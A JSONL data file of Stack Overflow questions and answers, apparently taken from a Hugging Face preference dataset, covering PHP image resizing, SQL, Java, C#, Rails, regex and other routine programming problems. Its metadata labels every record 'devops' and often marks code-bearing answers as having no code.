{"id": "hf_57cb59ca0fa3", "question": "<p>I'm attempting to resize pngs with transparent backgrounds in PHP and the code samples I've found online don't work for me. Here's the code I'm using, advice will be much appreciated!</p>\n\n<pre><code>$this-&gt;image = imagecreatefrompng($filename);\n\nimagesavealpha($this-&gt;image, true);\n$newImage = imagecreatetruecolor($width, $height);\n\n// Make a new transparent image and turn off alpha blending to keep the alpha channel\n$background = imagecolorallocatealpha($newImage, 255, 255, 255, 127);\nimagecolortransparent($newImage, $background);\nimagealphablending($newImage, false);\nimagesavealpha($newImage, true);\n\nimagecopyresampled($newImage, $this-&gt;image, 0, 0, 0, 0, $width, $height,  $this-&gt;getWidth(), $this-&gt;getHeight());\n$this-&gt;image = $newImage;  \nimagepng($this-&gt;image,$filename);\n</code></pre>\n\n<p><br />\n<strong>Update</strong>\nBy 'not working' I meant to say the background color changes to black when I resize pngs.</p>\n", "question_body": "", "answer": "From what I can tell, you need to set the blending mode to\n```\nfalse\n```\n, and the save alpha channel flag to\n```\ntrue\n```\nbefore\nyou do the imagecolorallocatealpha()\n```\n```\n<?php\n/**\n * https://stackoverflow.com/a/279310/470749\n * \n * @param resource $image\n * @param int $newWidth\n * @param int $newHeight\n * @return resource\n */\npublic function getImageResized($image, int $newWidth, int $newHeight) {\n    $newImg = imagecreatetruecolor($newWidth, $newHeight);\n    imagealphablending($newImg, false);\n    imagesavealpha($newImg, true);\n    $transparent = imagecolorallocatealpha($newImg, 255, 255, 255, 127);\n    imagefilledrectangle($newImg, 0, 0, $newWidth, $newHeight, $transparent);\n    $src_w = imagesx($image);\n    $src_h = imagesy($image);\n    imagecopyresampled($newImg, $image, 0, 0, 0, 0, $newWidth, $newHeight, $src_w, $src_h);\n    return $newImg;\n}\n?>\n```\n```\nUPDATE\n: This code is working only on background transparent with opacity = 0. If your image have 0 < opacity < 100 it'll be black background.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:53.982644"}
{"id": "hf_46c3b0dabe41", "question": "<p>How do I import a Python module given its relative path?</p>\n\n<p>For example, if <code>dirFoo</code> contains <code>Foo.py</code> and <code>dirBar</code>, and <code>dirBar</code> contains <code>Bar.py</code>, how do I import <code>Bar.py</code> into <code>Foo.py</code>?</p>\n\n<p>Here's a visual representation:</p>\n\n<pre><code>dirFoo\\\n    Foo.py\n    dirBar\\\n        Bar.py\n</code></pre>\n\n<p><code>Foo</code> wishes to include <code>Bar</code>, but restructuring the folder hierarchy is not an option.</p>\n", "question_body": "", "answer": "Be sure that dirBar has the\n```\n__init__.py\n```\nfile -- this makes a directory into a Python package.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.006715"}
{"id": "hf_560d8a86fc83", "question": "<p>I've got a wxGrid that I populate dynamically. I'd like to store some information with each row that shouldn't be displayed to the user. What is the best way to associate data with a row? Should I just create a hidden column or is there a better way?</p>\n", "question_body": "", "answer": "Creating a hidden column is the fastest, but indeed a very ugly method. If you can justify the effort, then you should better create your own grid table base class. Your own\nwxGridTableBase\n-derived class can hold any information you need it to, without the need to show it in the grid. Unfortunately the documentation for that class is sparse or nearly non-existent.\nFor an example see the grid demo in the wxWidgets samples directory, specifically the\nBugsGridTable\nclass. What you will notice is that you do not necessarily store the strings that the grid will display, but you can format your data in the\nGetValue()\nmethod. This can be a lot better, both in terms of memory consumption, and because you can change the format of displayed data on-the-fly.\nThe switch to a custom grid table base class has had a big impact on speed, memory consumption and functionality for the result set data grid of\nFlameRobin\n, an administration tool for the Firebird relational database. You can always check out its source code for how we use wxGrid.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.040352"}
{"id": "hf_1fb3c1bbeaa2", "question": "<p>If I have data in the following format</p>\n<pre><code> id    subid      text\n 1     1          Hello\n 1     2          World\n 1     3          !\n 2     1          B\n 2     2          B\n 2     3          Q\n</code></pre>\n<p>And would like it in this format:</p>\n<pre><code> id  fold\n 1   HelloWorld!\n 2   BBQ\n</code></pre>\n<p>How could I accomplish it in T-SQL?</p>\n", "question_body": "", "answer": "a temp table and a cursor leap to mind...\nDear Downvoters: a temp table and a cursor have got to be at least as efficient as the recursive-query and custom-function solutions accepted above. Get over your fear of cursors, sometimes they are the most efficient solution. Sometimes they are the only solution. Deal with it.\nEDIT: cursor-based solution below. Note that it has none of the limitations of the non-cursor (and more complicated) solutions proposed elsewhere, and performance is probably about the same (hard to tell from a six-row table of course).\nand please, don't abandon the main for-each construct of sql just because some blogger says \"it's bad\"; use your own judgement and some common sense. I avoid cursors whenever possible, but not to the point where the solution is not robust.\n```\n```\n--initial data table\ncreate table #tmp (\n    id int,\n    subid int,\n    txt varchar(256)\n)\n\n--populate with sample data from original question\ninsert into #tmp (id,subid,txt) values (1, 1, 'Hello')\ninsert into #tmp (id,subid,txt) values (1, 2, 'World')\ninsert into #tmp (id,subid,txt) values (1, 3, '!')\ninsert into #tmp (id,subid,txt) values (2, 1, 'B')\ninsert into #tmp (id,subid,txt) values (2, 2, 'B')\ninsert into #tmp (id,subid,txt) values (2, 3, 'Q')\n\n--temp table for grouping results\ncreate table #tmpgrp (\n    id int,\n    txt varchar(4000)\n)\n\n--cursor for looping through data\ndeclare cur cursor local for\n    select id, subid, txt from #tmp order by id, subid\n\ndeclare @id int\ndeclare @subid int\ndeclare @txt varchar(256)\n\ndeclare @curid int\ndeclare @curtxt varchar(4000)\n\nopen cur\n\nfetch next from cur into @id, @subid, @txt\n\nset @curid = @id\nset @curtxt = ''\n\nwhile @@FETCH_STATUS = 0 begin\n    if @curid <> @id begin\n        insert into #tmpgrp (id,txt) values (@curid,@curtxt)\n        set @curid = @id\n        set @curtxt = ''\n    end\n    set @curtxt = @curtxt + isnull(@txt,'')\n    fetch next from cur into @id, @subid, @txt\nend\n\ninsert into #tmpgrp (id,txt) values (@curid,@curtxt)\n\nclose cur\n\ndeallocate cur\n\n--show output\nselect * from #tmpgrp\n\n--drop temp tables\ndrop table #tmp\ndrop table #tmpgrp\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.063153"}
{"id": "hf_4b5acf1d1603", "question": "<p>Let's say I do something in Java like:</p>\n\n<pre>\n<code>\nRemoteResponse response = null;\ntry {\n   FutureTask task new FutureTask(....);\n   executor.execute(task);\n   response = task.get(1000, TimeUnits.MILLISECONDS);\n}\ncatch( TimeoutException te ) {\n   <b>\n   .. should I do something special here? ...\n   .. what happens to the return value of the task if task.get() throws an exception? ...\n   .. is it ever garbage collected? ..\n   </b>\n}\n</code>\n</pre>\n\n<p>My question is does something hold onto RemoteResponse in the case where TimeoutException is thrown?  Will it get garbage collected?  Do I have to call the cancel() method on the task for that to happen?</p>\n", "question_body": "", "answer": "Edit after the question was revised:\n```\nresponse\n```\nis a reference to a\n```\nRemoteResponse\n```\nthat\n```\ntask\n```\nis responsible for allocating.  The assignment of the return value from a method won't happen if the method threw an exception, so there is no need for special handling of\n```\nresponse\n```\n.\n```\ntask\n```\nwill be unreferenced when it goes out of scope, either through normal execution or if an exception is thrown.\nIf the resources allocated by\n```\ntask\n```\nare well encapsulated, ie there are no externally held references, and are released (\n```\nclose\n```\n,\n```\nrelease\n```\n, whatever), then there should be no resource leakage.\nThere's no need to call cancel unless there is some shared resource the\n```\ntask\n```\nhas exclusively or some other consumable resource that the rest of the application needs.\nI'd at least log the fact that the task didn't complete in the time allotted.  What else you do depends on the requirements of your application.\nNote that\n```\ntask\n```\nwill continue executing until completion, regardless of the\n```\nget\n```\ncall.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.099050"}
{"id": "hf_dacb5401a734", "question": "<p>We are repurposing an application server running WebSphere 6.0.2.23.  I would like to rename the various application server to better reflect its new role.  </p>\n\n<p>How can you rename an application server? </p>\n\n<p>It seems like wsadmin can do it, but I'm struggling with the object hierarchy.</p>\n", "question_body": "", "answer": "IBM Sample Scripts\ndownload:\nConfigScripts.zip\nfrom command line execute:\n```\n```\n/usr/IBM/WebSphere/AppServer/profiles/AppSrv01/bin/ws_ant.sh \\\n-profileName AppSrv01 \\\n-buildfile exportImport.xml \\\n-logfile rename.log \\\n-DoldServerName=server1 \\\n-DnewServerName=server2 \\\n-DnodeName=yourNode01 changeServerName\n```\n```\nsource", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.123303"}
{"id": "hf_39640a3c0094", "question": "<p>Given a date how can I add a number of days to it, but exclude weekends. For example, given 11/12/2008 (Wednesday) and adding five will result in 11/19/2008 (Wednesday) rather than 11/17/2008 (Monday).</p>\n\n<p>I can think of a simple solution like looping through each day to add and checking to see if it is a weekend, but I'd like to see if there is something more elegant. I'd also be interested in any F# solution.</p>\n", "question_body": "", "answer": "Given the number of the original day in the year D and original day in the week W and the number of workdays to add N, the next weekday number is\n```\n```\nW + N % 5.\n```\n```\nThe next day in the year (with no wraparound check) is\n```\n```\nD + ((N / 5) * 7) + N % 5).\n```\n```\nThis is assuming that you have integer division.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.147573"}
{"id": "hf_e4585068c348", "question": "<p>What's the quickest way to convert a date in one format, say </p>\n\n<blockquote>\n  <p>2008-06-01</p>\n</blockquote>\n\n<p>to a date in another format, say </p>\n\n<blockquote>\n  <p>Sun 1st June 2008</p>\n</blockquote>\n\n<p>The important bit is actually the 'Sun' because depending on the dayname, I may need to fiddle other things around - in a non-deterministic fashion. I'm running GNU bash, version <code>3.2.17(1)-release (i386-apple-darwin9.0)</code>.</p>\n\n<p>[Background: The reason that I want to do it from the command line, is that what I really want is to write it into a TextMate command...  It's an annoying task I have to do all the time in textMate.]</p>\n", "question_body": "", "answer": "```\n```\ndate -d yyyy-mm-dd\n```\n```\nIf you want more control over formatting, you can also add it like this:\n```\n```\ndate -d yyyy-mm-dd +%a\n```\n```\nto just get the Sun part that you say you want.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.235659"}
{"id": "hf_0013abc56b2f", "question": "<p>Does the CCK api allow me to create a node type, from a custom module, with a bunch of fields that use CCK to store their state?  If so can these fields be locked so that users may not alter them, but still allow the user to add more fields to the node type?</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "I\nthink\nthe answer to your first question is \"yes\" (for Drupal 6, at least, which has elements of the CCK integrated into Drupal Core).  I believe the\nAmazon module\ndoes this sort of thing, albeit it with just one field.\nI don't think the idea in your second request is achievable, though.  This would seem to require field-level permissions' control whilst Drupal only supports module-level permissions' control.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.258995"}
{"id": "hf_9961b1b8d667", "question": "<p>I had the following line snippet of code that searches for a propery of an instance by name:</p>\n\n<pre><code>var prop = Backend.GetType().GetProperty(fieldName);\n</code></pre>\n\n<p>Now I want to ignore the case of fieldName, so I tried the following:</p>\n\n<pre><code>var prop = Backend.GetType().GetProperty(fieldName, BindingFlags.IgnoreCase);\n</code></pre>\n\n<p>... No dice.  Now prop won't find field names that have the exact case.</p>\n\n<p>Hence.....\nHow do I use .Net reflection to search for a property by name ignoring case?</p>\n", "question_body": "", "answer": "You need to specify\n```\nBindingFlags.Public | BindingFlags.Instance\n```\nas well:\n```\n```\nusing System;\nusing System.Reflection;\n\npublic class Test\n{\n    private int foo;\n\n    public int Foo { get { return foo; } }\n\n    static void Main()\n    {\n        var prop = typeof(Test).GetProperty(\"foo\",\n                                            BindingFlags.Public\n                                            | BindingFlags.Instance \n                                            | BindingFlags.IgnoreCase);\n        Console.WriteLine(prop);\n    }\n}\n```\n```\n(When you don't specify any flags, public, instance and static are provided by default. If you're specifying it explicitly I suggest you only specify one of instance or static, if you know what you need.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.341680"}
{"id": "hf_c1c6f15ef0f1", "question": "<p>A few guys on our team are of the opinion that every web page in the application should be a web user control. So you'll have all of your html + event handling in the Customer.ascx, for example, and there will be a corresponding Customer.aspx page that contains Customer.ascx control. </p>\n\n<p>These are their arguments: </p>\n\n<ol>\n<li>This practice promotes versatility, portability, and re-usability. </li>\n<li>Even if the page is not re-used right now, it might be in a future. </li>\n<li>Customer page might need to move to a different location or renamed sometimes in a future and moving user controls is easier. </li>\n<li>This is a recommendation by MS for new development.</li>\n</ol>\n\n<p>Is this really a recommendation for new development? Are there any drawbacks to this strategy? I agree that it's nice to have a user control on hand if the need arises, but it seems to be an overkill to do this to the entire application \"just in case we need it later\". </p>\n", "question_body": "", "answer": "Seriously complicates client-side script as the NamingContainer jiggery will prepend _ctl0 etc to everything sometimes.\nI don't think MS ever recommended it.  Request links to MSDN documentation.\nTypically by the time your are done implementing something, and it is sufficiently complicated, you'll find a lot of \"gotchas\" when ever you try to \"reuse\" it.   A good example is relative links\nin\nthe user control that no longer work outside of their path.\nUsers don't need the ability to add/edit/delete Customers on every page.  Indeed, you start to get into caching issues if you have these types of controls on every page.  For example if on an Invoice page, you add a Customer, will the Invoice control be updated with the new Customer?  All sorts of inter-control operability issues can manifest.  These issues are hard to argue for, because of course, everyone's user control will be\nperfect\n, so this will never happen.  ha ha right.\nSee if they can come up with an example where moving/renaming a user control actually saved time, instead of making it more complicated.   Draw up an actual example and show the pros/cons of each.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.388301"}
{"id": "hf_a8cc29a6fa6e", "question": "<p>I have created a reference to an IIS hosted WCF service in my ASP.NET website project on my local workstation through the \"Add Service Reference\" option in Visual Studio 2008.  I was able to execute the service from my local workstation.</p>\n\n<p>When I move the ASP.NET web site using the \"Copy Web Site\" feature in Visual Studio 2008 to the development server and browse to the page consuming the service, I get the following error:</p>\n\n<blockquote>\n  <p>Reference.svcmap: Specified argument\n  was out of the range of valid values.</p>\n</blockquote>\n\n<p>Has anyone experienced this same error and know how to resolve it?</p>\n\n<p><b>EDIT:</b> My development server is Win2k3 with IIS 6</p>\n", "question_body": "", "answer": "The problem may be due to a mismatch with the solution/project folder structure and the IIS web site folder structure. I ran into similar problems a good while ago and ended up changing how I deploy web services.\nHere\nand\nhere\nare some discussions of similar problems to yours, they ended up not using the Add Service generated client and rolled their own client. Also, I can vouch for using the \"Publish web site\" method for deploying my services.\nHere\nis a good article on web service deployment models.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.448488"}
{"id": "hf_a668849b60bf", "question": "<p>I know that in the original C++0x standard there was a feature called <code>export</code>.</p>\n\n<p>But I can't find a description or explanation of this feature. What is it supposed to do? Also: which compiler is supporting it?</p>\n", "question_body": "", "answer": "See\nthis\nexplanation for its use\nQuite a few compilers don't support it either because it's too new or in the case of gcc - because they disaprove.\nThis post describes standard support for many compilers.\nVisual Studio support for new C / C++ standards?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.483073"}
{"id": "hf_8864de6bacfb", "question": "<p>I have a sequential workflow with a number of Activities. One of these activities needs to access my paid S3 account. It works fine, but to be cautious, I would like to make sure it can handle unexpected situations, such as 'Host not found' or some timeout, etc.</p>\n\n<p>So .. i would normally put the code inside a TRY / CATCH. That's fine .. but i'm not sure of what i should do with the workflow .. because if the code fails to complete correctly, the rest of the workflow shouldn't occur (based on the logic of this workflow).</p>\n\n<p>So, i wanted to maybe retry the connect a few times .. and if that finally fails, call an Email Activity and terminate workflow.</p>\n\n<p>Can anyone make any suggestions, links to vid's or screenies that help show what is the best practice for this?</p>\n\n<p>cheers!</p>\n", "question_body": "", "answer": "Take a look at the\n```\nFaultHandlerActivity\n```\n, which is used to handle an Exception of the type specified by the\n```\nFaultType\n```\nproperty. Some links about error handling in WF:\nFault Handling in Workflows\nUsing the FaultHandlerActivity Activity\nException and Error Handling\n(partial book chapter)\nAnother way is to use the\n```\nActivity.HandleFault\n```\nmethod, which is called when an exception is raised within the context of the execution of your activity.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.509458"}
{"id": "hf_b44ecde9a59a", "question": "<p>Is there an ascii value I can put into a char in C++, that represents nothing?  I tried 0 but it ends up screwing up my file so I can't read it.</p>\n", "question_body": "", "answer": "The null character '\\0' still takes up a byte.\nDoes your software recognize the null character as an end-of-file character?\nIf your software is reading in this file, you can define a place holder character (one that isn't the same as data) but you'll also need to handle that character.  As in, say '*' is your place-holder.  You will read in the character but not add it to the structure that stores your data.  It will still take up space in your file, but it won't take up space in your data structure.\nAm I answering your question or missing it?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.589423"}
{"id": "hf_fd52fd258ab3", "question": "<p>I'd like to find a way to do a SQL query that will calculate the cidr (bit representation) of a subnet mask stored in the database.  So for example, I've got either 255.255.255.0 or its decimal value (4294967040) stored in the database.  I'd like to do a select and get back /24 representation via the query.</p>\n\n<p>I've done things like the following to determine the last IP of a subnet so I'm hoping to do something similar to determine the cidr representation of a mask.</p>\n\n<pre><code>select concat(inet_ntoa(ip_addr),'-',\n    inet_ntoa(ip_addr+(POWER(2,32)-ip_mask-1))) range \nfrom subnets \norder by ip_addr\n</code></pre>\n\n<p>Preferably this would be a SQL statement that would work under mysql, postgres, oracle etc.</p>\n", "question_body": "", "answer": "SQL queries don't have a procedural looping construct (notwithstanding procedural language), but you can compare one set of rows to another set of rows, which is kind of like a loop.\nYou only have 32 possible subnet masks.  In cases like this, it makes sense to create a small table that stores these 32 masks and the associated CIDR number.\n```\n```\nCREATE TABLE cidr (\n  bits INT UNSIGNED PRIMARY KEY,\n  mask INT UNSIGNED NOT NULL\n);\n\nINSERT INTO cidr (bits) VALUES\n  ( 1), ( 2), ( 3), ( 4), ( 5), ( 6), ( 7), ( 8), ( 9), (10),\n  (11), (12), (13), (14), (15), (16), (17), (18), (19), (20),\n  (21), (22), (23), (24), (25), (26), (27), (28), (29), (30),\n  (31), (32);\n\nUPDATE cidr SET mask = ((POWER(2,32)-1)<<(32-bits)) & (POWER(2,32)-1);\n\nSELECT CONCAT(s.ip_addr, '/', c.bits)\nFROM cidr c JOIN subnets s ON (c.mask = inet_aton(s.ip_mask));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.611931"}
{"id": "hf_2e4281bdb008", "question": "<p>I'm pulling email address records from a table in SQL Server 2005, and want to build a single string to use as the <code>@recipients</code> list with <code>sp_send_dbmail</code>. The table has a field called EmailAddress and there are 10 records in the table.</p>\n\n<p>I'm doing this:</p>\n\n<pre><code>DECLARE @email VARCHAR(MAX)\nSELECT\n    @email = ISNULL(@email + '; ', '') + EmailAddress\nFROM\n    accounts\n</code></pre>\n\n<p>Now @email has a semi-delimited list of 10 email address from the accounts table.</p>\n\n<p>My questions is why/how does this work? Why doesn't @email only have the last email address in the table?</p>\n", "question_body": "", "answer": "Because for each row you concatentate the current value of\n```\n@email\n```\nwith the next result in\n```\nEmailAddress\n```\n.  String concatenation is just like calling a function, in that it must evaluate the result for each row in sequence.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.646246"}
{"id": "hf_ce44343d6b4a", "question": "<p>currently I have the following code:</p>\n\n<pre><code>String select = qry.substring(\"select \".length(),qry2.indexOf(\" from \"));\nString[] attrs = select.split(\",\");\n</code></pre>\n\n<p>which works for the most parts but fails if given the following:</p>\n\n<pre><code>qry = \"select a,b,c,DATETOSTRING(date_attr_name,'mm/dd/yyyy') from tbl_a\";\n</code></pre>\n\n<p>what I'm looking for is the regex to feed to String.split() which will hande that situation, and for that matter any other special cases you might be able to think of that I'm missing.</p>\n", "question_body": "", "answer": "```\n```\n[^,]+\\([^\\)]+\\)|[^,]+,\n```\n```\nShould do it nicely provided you always add a final ',' to your select string:\n```\n```\na,b,c,DATETOSTRING(date_attr_name,'mm/dd/yyyy'),f,gg,dr(tt,t,),fff\n```\n```\nwould fail to split the last 'fff' attributes, but:\n```\n```\na,b,c,DATETOSTRING(date_attr_name,'mm/dd/yyyy'),f,gg,dr(tt,t,),fff,\n```\n```\nwould captures it. So a little pre-processing would smooth things out.\nCaveat\n: this does not take into account expression within expression\n```\n```\nEXP(arg1, EXP2(ARG11,ARG22), ARG2)\n```\n```\nTell me if that can happen in the queries you have to process.\nCaveat bis\n: since this needs a true regexp and not a simple separator expected by split(), you must use a Matcher, based on the pattern\n```\n[^,]+\\([^\\)]+\\)|[^,]),\n```\n, and iterate on Matcher.find() to fill the array of attributes\n```\nattrs\n```\n.\nIn short, with split() function, there is no single simple separator that might do the trick.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.728713"}
{"id": "hf_59c036a5c781", "question": "<p>On a web page that is to be displayed on an iPhone, is there a way to get the number pad to come up when the user taps in the field, instead of the qwerty keypad? </p>\n\n<p><a href=\"http://www.bennadel.com/blog/1197-Defaulting-To-The-Numeric-Keyboard-On-The-iPhone.htm\" rel=\"nofollow noreferrer\">This guy says here's how to do it</a>, but as of 2.0, this \"feature\" was disabled.  </p>\n\n<p>I'm guessing there's some fancy javascript to employ to get around this limitation?  </p>\n", "question_body": "", "answer": "Yes, this used to be possible by including the word \"zip\" in your text field's name attribute. Unfortunately, Apple seems to have removed this in 2.0 and later. I suggest you file a bug.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.753004"}
{"id": "hf_ff2dfad44ccb", "question": "<p>Given a model</p>\n\n<pre><code>class BaseModel &lt; ActiveRecord::Base\n  validates_presence_of :parent_id\n  before_save :frobnicate_widgets\nend\n</code></pre>\n\n<p>and a derived model (the underlying database table has a <code>type</code> field - this is simple rails STI)</p>\n\n<pre><code>class DerivedModel &lt; BaseModel\nend\n</code></pre>\n\n<p><code>DerivedModel</code> will in good OO fashion inherit all the behaviour from <code>BaseModel</code>, including the <code>validates_presence_of :parent_id</code>. I would like to turn the validation off for <code>DerivedModel</code>, and prevent the callback methods from firing, preferably without modifying or otherwise breaking <code>BaseModel</code></p>\n\n<p>What's the easiest and most robust way to do this?</p>\n", "question_body": "", "answer": "From poking around in the source (I'm currently on rails 1.2.6), the callbacks are relatively straightforward.\nIt turns out that the\n```\nbefore_validation_on_create\n```\n,\n```\nbefore_save\n```\netc methods, if not invoked with any arguments, will return the array which holds all the current callbacks assigned to that 'callback site'\nTo clear the before_save ones, you can simply do\n```\n```\nbefore_save.clear\n```\n```\nand it seems to work", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.782058"}
{"id": "hf_f55022517ec6", "question": "<p>I have a factory that returns an interface <code>FormatService</code>:  </p>\n\n<pre><code>public class FormatServiceFactory {\n    public FormatService getService() {\n        ...\n    }\n}\n</code></pre>\n\n<p>Is it possible to mock out this factory so that it will always return a stub implementation of <code>FormatService</code> - <code>FormatServiceStub</code> in our unit tests?  </p>\n", "question_body": "", "answer": "Depends.  How is the factory obtained/used by the code under test?\nIf it's instantiated explicitly in the methods you're testing, or if it's a static factory, you won't be able to mock it.\nIf it's injected into the object under test, you can create and inject the mocked factory before executing the test.\nMocking the factory should be easy enough with JMock.  From your example code, it looks like it's a class, not an interface, so you'll either need to use the cglib version of JMock and the\nMockObjectTestCase\nclass in the cglib package for JMock 1, or the\nClassImposteriser\nfor JMock 2.\nOnce mocked, you can make it return your stubbed implementation (or even a mock FormatService) when you define the expectations for the getService() method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.864598"}
{"id": "hf_16fad07e2adc", "question": "<p>I have a class that maintans a reference to a Hashtable and serializes/deserializes that Hashtable. After the call to SerializationInfo.GetValue, the Hashtable is not fully deserialized because the deserialization happens during the IDeserialization calback.</p>\n\n<pre><code>Hashtable hashtable = (Hashtable) info.GetValue(\"hash\", typeof(Hashtable));\n</code></pre>\n\n<p>I also implemented the IDeserialization callback in the parent class, but there too the Hashtable is not fully deserialized yet. I expected it to be if the deserialization is happening from the inside out.</p>\n\n<p>My question is, is it safe to explicitely call Hashtable.OnDeserialization from the OnDeserialization method of my parent class, so that I can enumerate it at that point?</p>\n\n<pre><code>public virtual void OnDeserialization(object sender)\n{\n    hashtable.OnDeserialization(sender);\n}\n</code></pre>\n", "question_body": "", "answer": "I suspect you have already googled, but I happened to across\nthis\npattern yesterday.\n```\n```\npublic BoringClass(SerializationInfo info, StreamingContext context)\n{\n    Hashtable hashtable = (Hashtable) info.GetValue(\"hash\", typeof(Hashtable));\n    hashtable.OnDeserialization(this);\n\n    Console.WriteLine(\"Value is: \" + hashtable[\"testItem\"]);\n\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.899457"}
{"id": "hf_f0cc7c140639", "question": "<p>What is the best way to remove an entry from a hashtable that uses linear probing? One way to do this would be to use a flag to indicate deleted elements? Are there any ways better than this?</p>\n", "question_body": "", "answer": "The Python hash table implementation (arguable very fast) uses dummy elements to mark deletions.  As you grow or shrink or table (assuming you're not doing a fixed-size table), you can drop the dummies at the same time.\nIf you have access to a copy, have a look at the article in\nBeautiful Code\nabout the implementation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:54.961440"}
